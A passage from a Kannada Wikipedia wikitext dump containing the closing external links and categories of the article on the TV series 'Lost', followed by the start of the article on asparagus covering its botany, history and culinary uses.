1.ogg|Lost (TV series) Part 2.ogg}} {{Portal|Lost|Lost Black Wikipedia.png}} * [http://abc.go.com/primetime/lost/index?pn=index ಅಧಿಕೃತ ಎಬಿಸಿ ''ಲಾಸ್ಟ್'' ಅಂತರ್ಜಾಲ ತಾಣ]{{Webarchive|url=https://web.archive.org/web/20080711083405/http://abc.go.com/primetime/lost/index?pn=index |date=2008-07-11 }} * {{imdb title|0411008|Lost}} * {{tv.com|24313|Lost}} * [http://www.oceanicflight815.com/ ಅಧಿಕೃತ ''ಲಾಸ್ಟ್'' ಸೀಸನ್ ಒಂದರ ಅಂತರ್ಜಾಲ ತಾಣ] {{Webarchive|url=https://web.archive.org/web/20090417032612/http://www.oceanicflight815.com/ |date=2009-04-17 }} * [http://abc.go.com/player/index?pn=index&amp;showId=93372 ಎಬಿಸಿ.ಕಾಂನಲ್ಲಿ ''ಲಾಸ್ಟ್‌'' ನ ಸಂಪೂರ್ಣ ಕಂತನ್ನು ನೋಡಿರಿ (ಯುಎಸ್‌ನಲ್ಲಿ ಮಾತ್ರ)] {{Webarchive|url=https://web.archive.org/web/20090825035458/http://abc.go.com/player/index?pn=index&showId=93372 |date=2009-08-25 }} * [http://sky1.sky.com/show/lost-2 ಯುಕೆಯಲ್ಲಿನ ಸ್ಕೈನ ಅಧಿಕೃತ ''ಲಾಸ್ಟ್'' ಅಂತರ್ಜಾಲ ತಾಣ] * ಜೆ.ಜೆ ಅಬ್ರಾಮ್ಸ್‌ರಿಂದ ಪ್ರಾಯೋಜಿತ [http://www.thefuselage.com/ ದಿ ಫ್ಯೂಸ್‌ಲೇಗ್] ಎಂಬ ಫೋರಮ್ === ಅಧಿಕೃತ ಒಡಂಬಡಿಕೆಯ ಜಾಲತಾಣಗಳು === {{See also|Lost Experience#External links|Find 815#External links}} * [http://www.thehansofoundation.org/ ದಿ ಹ್ಯಾನ್ಸೋ ಫೌಂಡೇಶನ್] {{Webarchive|url=http://arquivo.pt/wayback/20080229051627/http%3A//www.thehansofoundation.org/ |date=2008-02-29 }}: ಧರ್ಮಾ ಇನಿಶಿಯೇಟಿವ್ ಹಿಂದಿನ ಸಾಹಿತ್ಯಿಕ ಸಂಟನೆ. * [http://www.oceanic-air.com/ ಓಶಿಯಾನಿಕ್ ಏರ್‌ಲೈನ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20090523091708/http://www.oceanic-air.com/ |date=2009-05-23 }} ಸರಣಿಯ ವಿಷಯ ವಸ್ತುವಾದ ಫ್ಲೈಟ್ 815 ಸಂಬಂಧಿತ ಏರ್‌ಲೈನ್ಸ್ * [http://www.octagonglobalrecruiting.com/ ಓಕ್ಟಾಗನ್ ಗ್ಲೋಬಲ್ ರಿಕ್ರ್ಯೂಟಿಂಗ್]: [[ಧರ್ಮಾ ಇನಿಶಿಯೇಟಿವ್‌]]ನ ವೈಜ್ಞಾನಿಕ ನೇಮಕಾತಿ ವಿಭಾಗ * [http://www.ajiraairways.com/ ಅಜಿರಾ ಏರ್‌ವೇಸ್] ಐದನೆಯ ಸೀಸನ್ನಿನ ಪ್ರಚಾರದ ಸಾಮಗ್ರಿಯಾದ ಏರ್‌ಲೈನ್ ಸಂಬಂಧಿತ * [http://lostuniversity.org/ ಲಾಸ್ಟ್ ಯೂನಿವರ್ಸಿಟಿ] ಫಿಕ್ಷನಲ್ ಯೂನಿವರ್ಸಿಟಿ * [http://damoncarltonandapolarbear.com ಡಮನ್, ಕಾರ್ಲ್‌ಟನ್ ಮತ್ತು ಎ ಪೋಲಾರ್ ಬಿಯರ್:] {{Webarchive|url=https://web.archive.org/web/20090815092531/http://damoncarltonandapolarbear.com/ |date=2009-08-15 }} {{LostNav}} {{LostEpisodes}} {{EmmyAward DramaSeries 2001-2025}} {{GoldenGlobeTVDrama 1990-2009}} {{ScreenActorsGuildAwardsTVEnsembleDrama 1994-2009}} {{J. J. Abrams}} {{DEFAULTSORT:Lost (Tv Series)}} [[ವರ್ಗ:2000ದ ಅಮೆರಿಕನ್‌ ಕಿರುತೆರೆ ಸರಣಿ]] [[ವರ್ಗ:2004ರ ದೂರದರ್ಶನ ಸರಣಿ ಪ್ರಥಮ ಪ್ರದರ್ಶನಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್ ಬ್ರಾಡ್‌ಕಾಸ್ಟಿಂಗ್ ಕಂಪನಿಯ ನೆಟವರ್ಕ್ ಶೋಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕದ ಟೆಲೆವಿಷನ್ ನಾಟಕ ಸರಣಿಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್ ವಿಜ್ಞಾನ ಕಾದಂಬರಿ ಟೆಲೆವಿಷನ್ ಸರಣಿಗಳು]] [[ವರ್ಗ:ಬ್ಯಾಡ್ ರೋಬೋಟ್ ನಿರ್ಮಾಣ]] [[ವರ್ಗ:ಎಮ್ಮೀ ಅವಾರ್ಡ್ ಪಡೆಯುವ ಕಾರ್ಯಕ್ರಮಗಳು]] [[ವರ್ಗ:ಲಾಸ್ಟ್‌ (TV ಸರಣಿ)]] [[ವರ್ಗ:ಸೀರಿಯಲ್ ನಾಟಕ ಟೆಲೆವಿಷನ್ ಸರಣಿಗಳು]] [[ವರ್ಗ:ಸ್ಕೈ ಒನ್ ಕಾರ್ಯಕ್ರಮಗಳು]] [[ವರ್ಗ:ಬುಯಿನಾ ವಿಸ್ಟಾ ಟೆಲವಿಷನ್‌ನಿಂದ ಟೆಲೆವಿಷನ್ ಸರಣಿಗಳು]] [[ವರ್ಗ:ಟೈಮ್ ಟ್ರಾವೆಲ್ ಟೆಲೆವಿಷನ್ ಸರಣಿಗಳು]] [[ವರ್ಗ:ಉತ್ತಮ ನಾಟಕ ಸರಣಿಯ ಗೋಲ್ಡನ್ ಗ್ಲೋಬ್ ವಿಜೇತರು]] irvfvpxwr96qe5i8vvi92e0c7hs96bt ಶತಾವರಿ 0 21969 1116487 1079501 2022-08-23T14:08:52Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{taxobox |name = ''ಆಸ್ಪರೇಗಸ್ ಅಫಿಶಿನ್ಯಾಲಿಸ್'' |image = AsparagusOfficinalisWild.jpg |image_caption = ಆಸ್ಟ್ರಿಯಾದಲ್ಲಿ ಕಾಡು ಶತಾವರಿ |regnum = [[ಪ್ಲ್ಯಾಂಟಿ]] |unranked_divisio = [[ಹೂಬಿಡುವ ಸಸ್ಯ]] |unranked_classis = [[ಏಕದಳ ಸಸ್ಯ]] |ordo = [[ಅಸ್ಪೆರಗೇಲ್ಸ್]] |familia = [[ಅಸ್ಪೆರಗೇಸಿಯಿ]] |genus = ''[[ಅಸ್ಪರೇಗಸ್]]'' |species = '''''ಆ. ಅಫಿಶಿನ್ಯಾಲಿಸ್''''' |binomial = ''Asparagus Officinalis'' |binomial_authority = [[ಕ್ಯಾರಲಸ್ ಲಿನೀಯಸ್]] }} '''''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಅಫಿಷಿನಾಲಿಸ್‌'' ''' ಎಂಬುದು ''[[ಆಸ್ಪ್ಯಾರಗಸ್‌]]'' ಕುಲದಲ್ಲಿನ ಒಂದು ಹೂಬಿಡುವ ಸಸ್ಯಜಾತಿಯಾಗಿದ್ದು, '''ಶತಾವರಿ''' ಎಂದು ಹೆಸರಾಗಿರುವ [[ತರಕಾರಿ]]ಯನ್ನು ಅದರಿಂದ ಪಡೆಯಲಾಗುತ್ತದೆ. ಇದು [[ಯುರೋಪ್]], ಉತ್ತರ [[ಆಫ್ರಿಕಾ]] ಮತ್ತು ಪಶ್ಚಿಮ [[ಏಷ್ಯಾ]]ದ ಬಹುತೇಕ ಭಾಗಗಳ ಸ್ಥಳೀಯ ಸಸ್ಯವಾಗಿದೆ.<ref name="fe">ಫ್ಲೋರಾ ಯುರೋಪಿಯಾ: [http://rbg-web2.rbge.org.uk/cgi-bin/nph-readbtree.pl/feout?FAMILY_XREF=&amp;GENUS_XREF=Asparagus&amp;SPECIES_XREF=officinalis&amp;TAXON_NAME_XREF=&amp;RANK= ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಅಫಿಷಿನಾಲಿಸ್‌'' ]</ref><ref name="empp">ಯುರೊ+ಮೆಡ್ ಪ್ಲಾಂಟ್‌ಬೇಸ್‌ ಪ್ರಾಜೆಕ್ಟ್‌: [http://ww2.bgbm.org/_EuroPlusMed/PTaxonDetail.asp?NameId=38660&amp;PTRefFk=500000 ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಅಫಿಷಿನಾಲಿಸ್‌'' ] {{Webarchive|url=https://web.archive.org/web/20110811083221/http://ww2.bgbm.org/_EuroPlusMed/PTaxonDetail.asp?NameId=38660&PTRefFk=500000 |date=2011-08-11 }}</ref><ref name="grin">ಜರ್ಮ್‌ಪ್ಲಾಸ್ಮ್‌ ರಿಸೋರ್ಸಸ್‌ ಇನ್ಫರ್ಮೇಷನ್ ನೆಟ್‌ವರ್ಕ್: [http://www.ars-grin.gov/cgi-bin/npgs/html/taxon.pl?300050 ''ಅಸ್ಪ್ಯಾರಗಸ್ ಅಫಿಷಿನಾಲಿಸ್‌'' ]</ref> ಇದನ್ನು ಒಂದು [[ತರಕಾರಿ]] ಬೆಳೆಯಂತೆಯೂ ಈಗ ವ್ಯಾಪಕವಾಗಿ ಬೆಳೆಯಲಾಗುತ್ತಿದೆ.<ref name="prota">ಗ್ರಬ್ಬೆನ್‌, ಜಿ.ಜೆ.ಎಚ್‌. &amp; ಡೆಂಟನ್‌, ಒ.ಎ. (2004) ಪ್ಲಾಂಟ್‌ ರಿಸೋರ್ಸಸ್‌ ಆಫ್ ಟ್ರಾಪಿಕಲ್ ಆಫ್ರಿಕಾ 2. ವೆಜಿಟಬಲ್ಸ್‌. PROTA ಫೌಂಡೇಷನ್‌, ವೇಗನಿಂಜೆನ್‌; ಬ್ಯಾಖುಯ್ಸ್‌, ಲೀಡೆನ್; CTA, ವೇಗನಿಂಜೆನ್‌.</ref> == ಜೀವವಿಜ್ಞಾನ == ಶತಾವರಿಯು ಒಂದು [[ಮೂಲಿಕೆಯಂಥ]] [[ಬಹುವಾರ್ಷಿಕ ಸಸ್ಯ]]ವಾಗಿದ್ದು ಸುಮಾರು ೧೦೦ ರಿಂದ ೧೫೦ ಸೆ.ಮೀ.ಎತ್ತರ ಬೆಳೆಯುತ್ತದೆ. ಇದರ ಲ್ಯಾರಿಸ್ಸಾ ಕಾಂಡವು ಮಜಬೂತಾಗಿದ್ದು, ಶಾಖೋಪಶಾಖೆಗಳಾಗಿ ಹಬ್ಬಿರುವ ಗರಿಯಂಥ ಎಲೆಗೊಂಚಲನ್ನು ಹೊಂದಿರುತ್ತದೆ. ವಾಸ್ತವವಾಗಿ ಈ "ಎಲೆಗಳು" ಚಿಪ್ಪಿನಂಥ ಎಲೆಗಳ ಪರ್ವಸ್ಥಾನದಲ್ಲಿರುವ ಸೂಜಿಯಂಥ ಚಪ್ಪಟೆಕಾಂಡಗಳಾಗಿದ್ದು (ರೂಪಾಂತರಿತ ಕಾಂಡಗಳು), ಅವು ೬ ರಿಂದ ೩೨ ಮಿ.ಮೀ. ಉದ್ದವಾಗಿ ಮತ್ತು ೧ ಮಿಮೀ. ಅಗಲವಾಗಿರುತ್ತವೆ, ಹಾಗೂ 4–15 ಎಲೆಗಳು ಒಟ್ಟಾಗಿ ಗುಚ್ಛದಂತಿರುತ್ತವೆ. ಇದರ ಬೇರುಗಳು ಗೆಡ್ಡೆಯ ಹಾಗಿರುತ್ತವೆ.[[ಹೂವು]]ಗಳು ಘಂಟಾಕಾರದಲ್ಲಿದ್ದು, ನಸು ಹಸಿರುಬಣ್ಣ-ಬಿಳಿಯಿಂದ ಮೊದಲ್ಗೊಂಡು ಬಹುತೇಕ ಹಳದಿ ಬಣ್ಣದ ಛಾಯೆಯವರೆಗೆ ಅವುಗಳ ಬಣ್ಣವಿರುತ್ತದೆ. ತಳದಲ್ಲಿ ಆಂಶಿಕವಾಗಿ ಬೆಸೆದುಕೊಂಡಿರುವ ಆರು [[ಪರಿಪುಷ್ಪ ಭಾಗ]]ಗಳೊಂದಿಗೆ (ಟೆಪಲ್ಸ್‌) ಹೂವಿನ ಗಾತ್ರವು {{convert|4.5|–|6.5|mm}}ಉದ್ದವಾಗಿದ್ದು, ಕಿರುಕೊಂಬೆಗಳ ಸಂಧಿಸ್ಥಾನಗಳಲ್ಲಿ ಏಕಸ್ವರೂಪದಲ್ಲಿ ಅಥವಾ 2-3 ಗೊಂಚಲುಗಳಲ್ಲಿ ಅವು ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತವೆ. ಗಂಡು ಮತ್ತು ಹೆಣ್ಣು ಹೂವುಗಳು ಪ್ರತ್ಯೇಕ ಸಸ್ಯಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುವುದರೊಂದಿಗೆ, ಇದು ಸಾಮಾನ್ಯವಾಗಿ [[ಭಿನ್ನಲಿಂಗಿ]]ಯಾಗಿರುತ್ತದೆಯಾದರೂ, ಕೆಲವೊಮ್ಮೆ ಉಭಯಲಿಂಗಿ ಹೂವುಗಳೂ ಕಂಡುಬರುತ್ತವೆ. ಇದರ [[ಹಣ್ಣು]], ಕೆಂಪಾದ ತಿರುಳಲ್ಲಿ ಬೀಜವನ್ನು ಹೊಂದಿರುವ ಒಂದು ಚಿಕ್ಕ ಹಣ್ಣಾಗಿದ್ದು, 6–10 ಮಿಮೀನಷ್ಟು ವ್ಯಾಸವನ್ನು ಹೊಂದಿರುತ್ತದೆ.ಯುರೋಪ್‌ನ ಪಶ್ಚಿಮ ತೀರಪ್ರದೇಶಗಳಿಗೆ ಸೇರಿದ (ಉತ್ತರ [[ಸ್ಪೇನ್‌]]ನ ಉತ್ತರ ಭಾಗದಿಂದ ಪ್ರಾರಂಭಿಸಿ, [[ಐರ್ಲೆಂಡ್‌]], [[ಗ್ರೇಟ್‌ ಬ್ರಿಟನ್‌]], ಮತ್ತು ವಾಯವ್ಯ [[ಜರ್ಮನಿ]]ಯವರೆಗಿನ ಭಾಗ) ಸಸ್ಯಗಳನ್ನು ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಅಫಿಷಿನಾಲಿಸ್‌'' ಉಪಜಾತಿ ''ಪ್ರಾಸ್ಟ್ರೇಟಸ್‌'' (ಡುಮಾರ್ಟ್‌.) ಕಾರ್ಬ್‌ ಎಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. ಇದು ತನ್ನ ಕಡಿಮೆ-ಬೆಳವಣಿಗೆಯ ವಿಲಕ್ಷಣತೆಯಿಂದ ಗುರುತಿಸಲ್ಪಟ್ಟಿದ್ದು, ನೆಲದ ಮೇಲೆ ಹಬ್ಬುವ ಕಾಂಡಗಳು ಕೇವಲ ....ದಷ್ಟು ಎತ್ತರಕ್ಕೆ{{convert|30|–|70|cm}} ಬೆಳೆಯುತ್ತವೆ, ಹಾಗೂ ....ದಷ್ಟು ಉದ್ದದ{{convert|2|–|18|mm}}, ಗಿಡ್ಡನಾದ ಚಪ್ಪಟೆಕಾಂಡಗಳನ್ನು ಅದು ಹೊಂದಿರುತ್ತದೆ.<ref name="fe" /><ref name="blamey" /> ಇದನ್ನು ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಪ್ರಾಸ್ಟ್ರೇಟಸ್'' ಡುಮಾರ್ಟ್‌ ಎಂಬ ಒಂದು ಪ್ರತ್ಯೇಕವಾದ ಜಾತಿಯನ್ನಾಗಿ ಕೆಲವೊಂದು ಲೇಖಕರು ಪರಿಗಣಿಸಿದ್ದಾರೆ.<ref name="fnwe">ಫ್ಲೋರಾ ಆಫ್ NW ಯುರೋಪ್: [http://ip30.eti.uva.nl/BIS/flora.php?selected=beschrijving&amp;menuentry=soorten&amp;id=4839 ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಪ್ರೊಸ್ಟ್ರೇಟಸ್'' ]</ref><ref name="grin1">ಜರ್ಮ್‌ಪ್ಲಾಸ್ಮ್‌ ರಿಸೋರ್ಸಸ್‌ ಇನ್ಫರ್ಮೇಷನ್ ನೆಟ್‌ವರ್ಕ್‌: [http://www.ars-grin.gov/cgi-bin/npgs/html/taxon.pl?5538 ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಪ್ರೊಸ್ಟ್ರೇಟಸ್‌'' ]</ref> == ಇತಿಹಾಸ == ಶತಾವರಿಯು ಆಹ್ಲಾದಕರ ಪರಿಮಳ ಹಾಗೂ [[ಮೂತ್ರವರ್ಧಕ]] ಗುಣಲಕ್ಷಣಗಳನ್ನು ಹೊಂದಿರುವುದರಿಂದಾಗಿ, ಇದನ್ನು ಪ್ರಾಚೀನ ಕಾಲದಿಂದಲೂ ಒಂದು ತರಕಾರಿ ಮತ್ತು ಔಷಧಿಯಂತೆ ಬಳಸಿಕೊಂಡು ಬರಲಾಗಿದೆ. ಮೂರನೇ ಶತಮಾನದ ADಯಲ್ಲಿ ಬಂದ [[ಅಪಿಷಿಯಸ್‌]]ನ ''[[ಡಿ ರೆ ಕಾಕ್ವಿನೇರಿಯಾ]],'' ಎಂಬ ಪುಸ್ತಕದ IIIನೇ ಭಾಗವು ಪಾಕವಿಧಾನಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಲಭ್ಯವಿರುವ ಅತ್ಯಂತ ಹಳೆಯ ಪುಸ್ತಕವಾಗಿದ್ದು, ಶತಾವರಿಯನ್ನು ಅಡುಗೆಯಲ್ಲಿ ಬಳಸುವ ಒಂದು [[ಪಾಕವಿಧಾನ]]ವನ್ನು ಅದು ಒಳಗೊಂಡಿದೆ. ಶತಾವರಿಯ ಋತುವಿನಲ್ಲಿ ಅದನ್ನು ತಾಜಾರೂಪದಲ್ಲಿ ತಿನ್ನುತ್ತಿದ್ದ ಹಾಗೂ ಅದನ್ನು ಚಳಿಗಾಲದಲ್ಲಿ ಬಳಸಲೆಂದು ಒಣಗಿಸಿಟ್ಟುಕೊಳ್ಳುತ್ತಿದ್ದ ಈಜಿಪ್ಟಿನವರು, ಗ್ರೀಕರು ಮತ್ತು ರೋಮನ್ನರು ಇದನ್ನು ಬೆಳೆಯುತ್ತಿದ್ದರು.{{Verify source|date=July 2007}} ಮಧ್ಯಯುಗದಲ್ಲಿ ಇದು ತನ್ನ ಜನಪ್ರಿಯತೆಯನ್ನು ಕಳೆದುಕೊಂಡಿತಾದರೂ, ಹದಿನೇಳನೇ ಶತಮಾನದಲ್ಲಿ ಮತ್ತೆ ತನ್ನ ಸ್ಥಾನವನ್ನು ದಕ್ಕಿಸಿಕೊಂಡಿತು.<ref name="OBFP">{{cite book | last =Vaughan | first =J.G. | authorlink = | coauthors = Geissler, C.A. | title =The New Oxford Book of Food Plants | publisher = Oxford University Press | year= 1997}}</ref> == ಉಪಯೋಗಗಳು == === ಪಾಕಶಾಲೆಯ ಉಪಯೋಗಗಳು === [[File:Asparagus3.JPG|left|thumb|ಅಂಗಡಿಯೊಂದರ ಪ್ರದರ್ಶಿಕೆಯ ಮೇಲೆ ಮೂರು ವಿಧದ ಶತಾವರಿಗಳನ್ನಿರಿಸಿರುವುದು. ಬಿಳಿ ಶತಾವರಿ ಹಿಂಭಾಗದಲ್ಲಿದ್ದರೆ, ಹಸಿರು ಶತಾವರಿ ಮಧ್ಯಭಾಗದಲ್ಲಿದೆ.ಮುಂಭಾಗದಲ್ಲಿರುವ ಸಸ್ಯವು ಆರ್ನಿಥೋಗ್ಯಾಲಮ್ ಪೈರೆನೈಕಮ್‌ ಪ್ರಬೇಧವಾಗಿದ್ದು, ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಕಾಡು ಶತಾವರಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ, ಮತ್ತು ಕೆಲವೊಮ್ಮೆ "ಸ್ನಾನದ ಶತಾವರಿ" ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ.]] ಶತಾವರಿಯ ಎಳೆ ಚಿಗುರುಗಳನ್ನು ಮಾತ್ರವೇ ತಿನ್ನಲು ಬಳಸಲಾಗುತ್ತದೆ. ಶತಾವರಿಯಲ್ಲಿನ ಕ್ಯಾಲೊರಿಗಳ ಪ್ರಮಾಣ ಕಡಿಮೆಯಿದ್ದು, ಕೊಲೆಸ್ಟರಾಲ್‌ನ್ನು ಇದು ಹೊಂದಿಲ್ಲ. ಸೋಡಿಯಂ ಪ್ರಮಾಣವು ಇದರಲ್ಲಿ ತುಂಬಾ ಕಡಿಮೆಯಿರುವುದರಿಂದ ಶತಾವರಿ ತುಂಬಾ ಆರೋಗ್ಯಕರ. [[ಫೋಲಿಕ್ ಆಮ್ಲ]], [[ಪೊಟಾಷಿಯಂ]], [[ಆಹಾರಪಥ್ಯದ ನಾರುಪದಾರ್ಥ]], ಮತ್ತು [[ರೂಟಿನ್‌]] ಇವೇ ಮೊದಲಾದವು ಶತಾವರಿಯಲ್ಲಿ ಹೇರಳವಾಗಿವೆ. ಶತಾವರಿ ಸಸ್ಯದಲ್ಲಿ [[ಆಸ್ಪರಾಜಿನ್‌]] ಎಂಬ [[ಅಮೈನೋ ಆಮ್ಲ]]ವು ಹೇರಳವಾಗಿದ್ದು, ಆಸ್ಪ್ಯಾರಗಸ್‌ (ಶತಾವರಿ) ಸಸ್ಯದಲ್ಲಿ ಅದು ಇರುವ ಕಾರಣದಿಂದಾಗಿಯೇ ಆ ಸಂಯುಕ್ತಕ್ಕೆ [[ಆಸ್ಪರಾಜಿನ್‌]] ಎಂಬ ಹೆಸರುಬಂದಿದೆ. ಚಿಗುರುಗಳನ್ನು ಬಳಸಿ ವಿಶ್ವದೆಲ್ಲೆಡೆ ಅಸಂಖ್ಯಾತ ವಿಧಾನಗಳಲ್ಲಿ ವಿವಿಧ ಆಹಾರಪದಾರ್ಥಗಳನ್ನು ತಯಾರಿಸಿ, ಬಡಿಸಲಾಗುತ್ತದೆ ಏಷ್ಯಾದ-ಶೈಲಿಯ ಆಹಾರ ತಯಾರಿಕಾ ಕ್ರಮದಲ್ಲಿ, ಶತಾವರಿಯನ್ನು ಹಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ ಕಲಕಿ-ಹುರಿದು ಬಳಸಲಾಗುತ್ತದೆ. [[ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳಲ್ಲಿನ]] [[ಕ್ಯಾಂಟನ್‌ ಶೈಲಿಯ]] ಭೋಜನಾಮಂದಿರಗಳಲ್ಲಿ, [[ಕೋಳಿಮರಿ ಮಾಂಸ]], [[ಸೀಗಡಿ]], ಅಥವಾ [[ದನದ ಮಾಂಸ]]ದೊಂದಿಗೆ ಶತಾವರಿಯನ್ನು ಬೆರೆಸಿ ಹುರಿದು ಬಡಿಸಲಾಗುತ್ತದೆ, ಮತ್ತು [[ಹಂದಿ ಮಾಂಸ]]ದಲ್ಲಿ ಸುತ್ತಿಟ್ಟೂ ಸಹ ಬಡಿಸಲಾಗುತ್ತದೆ. ಶತಾವರಿಯನ್ನು ಇದ್ದಿಲು ಅಥವಾ ಗಟ್ಟಿಮರದ ಕರಿಗೆಂಡಗಳ ಮೇಲಿನ ಕಬ್ಬಿಣದ ಸರಳುಗಳ ಮೇಲೆಯೂ ಸಹ ಶೀಘ್ರವಾಗಿ ಬೇಯಿಸಬಹುದು. ಬಿಸಿನೀರಿನಲ್ಲಿ ಬೇಯಿಸಿ ಮಾಡಿದ ಕೆಲವೊಂದು ಮಾಂಸಭಕ್ಷ್ಯಗಳು ಹಾಗೂ ಎಸರುಗಳಲ್ಲಿನ (ಅಂದರೆ ಸೂಪುಗಳಲ್ಲಿನ) ಒಂದು ಪ್ರಮುಖ ಘಟಕವಾಗಿಯೂ ಇದನ್ನು ಬಳಸಲಾಗುತ್ತದೆ. ಫ್ರೆಂಚ್‌ ಶೈಲಿಯ ಆಹಾರ ತಯಾರಿಕೆಯಲ್ಲಿ, ಶತಾವರಿಯನ್ನು ಕುದಿಸಿ ಅಥವಾ ಆವಿಯಲ್ಲಿ ಬೇಯಿಸಿ [[ಹಾಲೆಂಡ್‌ ಪಚ್ಚಡಿ ಅಥವಾ ಗೊಜ್ಜು]], ಕರಗಿಸಿದ ಬೆಣ್ಣೆ ಅಥವಾ [[ಆಲೀವ್ ಎಣ್ಣೆ]], [[ಪಾರ್ಮ ಗಿಣ್ಣು]] ಅಥವಾ [[ಮೇಯನೇಸ್‌ ಮಸಾಲೆ ಭಕ್ಷ್ಯ]]ದೊಂದಿಗೆ ಬಡಿಸಲಾಗುತ್ತದೆ. ಇದನ್ನು [[ಸಿಹಿಭಕ್ಷ್ಯ]]ವೊಂದರಲ್ಲಿಯೂ (ಅಥವಾ ಹಣ್ಣು-ಐಸ್‌ಕ್ರೀಂನ ಮಿಶ್ರಣದಲ್ಲಿಯೂ) ಸಹ ಬಳಸಬಹುದು.<ref>ಆಸ್ಪ್ಯಾರಗಸ್‌ ಲೈಮ್‌ ಪೈ [http://homecooking.about.com/od/pierecipes/r/blpie5.htm ಪಾಕವಿಧಾನ]</ref> ಮುಂಬೆಳೆಯುವ (ಅಂದರೆ ಋತುವಿನ ಆರಂಭದಲ್ಲಿ ಮೊಟ್ಟಮೊದಲಿಗೆ ಕಾಣಿಸಿಕೊಳ್ಳುವ) ಶತಾವರಿಯು ಅತ್ಯುತ್ತಮ ಗುಣಮಟ್ಟದ್ದೆಂದು ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿದ್ದು, ಇದನ್ನು ಹಾಗೆಯೇ ಆವಿಯಲ್ಲಿ ಬೇಯಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಕರಗಿಸಿದ ಬೆಣ್ಣೆಯೊಂದಿಗೆ ಬಡಿಸಲಾಗುತ್ತದೆ. ಶತಾವರಿಯ ಚಿಗುರುಗಳು ನವಿರಾಗಿ ಬೇಯುವಲ್ಲಿ ಹಾಗೂ ಅವುಗಳ ತುದಿಗಳು ನೀರಿನ ಸಂಪರ್ಕದಿಂದ ಆಚೆಯಿರುವಲ್ಲಿ ಶತಾವರಿಯನ್ನು ಬೇಯಿಸುವ ಉದ್ದದ, ಕಿರಿದಾದ ಮಡಕೆಗಳು ಅವಕಾಶಮಾಡಿಕೊಡುತ್ತವೆ.ಶತಾವರಿಯಿಂದ [[ಉಪ್ಪಿನಕಾಯಿ ಹಾಕಬಹುದು]] ಮತ್ತು ಅದನ್ನು ಹಲವಾರು ವರ್ಷಗಳವರೆಗೆ ಶೇಖರಿಸಿಡಬಹುದು. ಈ ವಿಧದಲ್ಲಿ ತಯಾರಿಸಲ್ಪಟ್ಟ ಶತಾವರಿಯ ಉಪ್ಪಿನಕಾಯಿಗೆ ಕೆಲವೊಂದು ಬ್ರಾಂಡ್‌ಗಳು "ಮ್ಯಾರಿನೇಡ್‌ ದ್ರಾವಣದಲ್ಲಿ ಹಾಕಿರುವ ಉಪ್ಪಿನಕಾಯಿ" ಎಂಬ ಹಣೆಪಟ್ಟಿಯನ್ನು ಅಂಟಿಸುತ್ತವೆ.ಶತಾವರಿಯ ತಳಭಾಗಕ್ಕೆ ಅನೇಕ ವೇಳೆ ಮರಳು ಮತ್ತು ಕೊಳೆಯು ಅಂಟಿಕೊಂಡಿರುತ್ತದೆ. ಆದ್ದರಿಂದ, ಶತಾವರಿಯನ್ನು ಬಳಸಿ ಅಡುಗೆ ಮಾಡುವಾಗ ಅದನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಸ್ವಚ್ಛಗೊಳಿಸುವುದು ಅತ್ಯಗತ್ಯ. ವರ್ಷಾದ್ಯಂತ ನಡೆಯುವ ಶತಾವರಿಯ ಆಮದುಗಳ ಲಭ್ಯತೆಯಿಂದಾಗಿ, ಹಿಂದೊಮ್ಮೆ ಇದ್ದಂತೆ ಇದನ್ನು ಮಧುರಭಕ್ಷ್ಯವಾಗಿ ಬಳಸುವ ಪ್ರಮಾಣವು ಕಡಿಮೆಯಾಗಿದೆಯಾದರೂ, ಹಸಿರು ಶತಾವರಿಯನ್ನು ವಿಶ್ವಾದ್ಯಂತ ಆಹಾರರೂಪದಲ್ಲಿ ಸೇವಿಸಲಾಗುತ್ತದೆ.<ref name="blamey">ಬ್ಲೇಮಿ, ಎಂ. &amp; ಗ್ರೇ-ವಿಲ್ಸನ್‌, ಸಿ. (1989). ''ಫ್ಲೋರಾ ಆಫ್ ಬ್ರಿಟನ್‌ ಅಂಡ್‌ ನಾರ್ದರ್ನ್‌ ಯುರೋಪ್'' . ISBN 0-340-40170-2</ref> ಆದಾಗ್ಯೂ, UKಯಲ್ಲಿ, ಕಡಿಮೆಯಿರುವ ಬೆಳೆಯುವ ಅವಧಿ ಹಾಗೂ ಸ್ಥಳೀಯ ಉತ್ಪನ್ನಕ್ಕೆ ಬೇಡಿಕೆಯಿರುವ ಕಾರಣದಿಂದಾಗಿ, ಶತಾವರಿಯು ಒಂದು ಅತ್ಯಧಿಕ ಮೌಲ್ಯವನ್ನು ಪಡೆದುಕೊಂಡಿದೆ ಮತ್ತು "[[ಆಹಾರ ಸಂಬಂಧಿತ]] ದಿನಚರಿಯಲ್ಲಿ ಶತಾವರಿಯ ಋತುವು ಒಂದು ರಸವತ್ತಾದ ಅಂಶವಾಗಿದೆ."<ref>{{Cite web |url=http://www.british-asparagus.co.uk/ |title=ಬ್ರಿಟಿಷ್‌ ಶತಾವರಿ |access-date=2009-12-17 |archive-date=2009-03-16 |archive-url=https://web.archive.org/web/20090316131257/http://www.british-asparagus.co.uk/ |url-status=dead }}</ref> ಯುರೋಪಿಗೆ ಸೇರಿದ ಉತ್ತರಭಾಗದ ಯುರೋಪ್‌ನಲ್ಲಿ 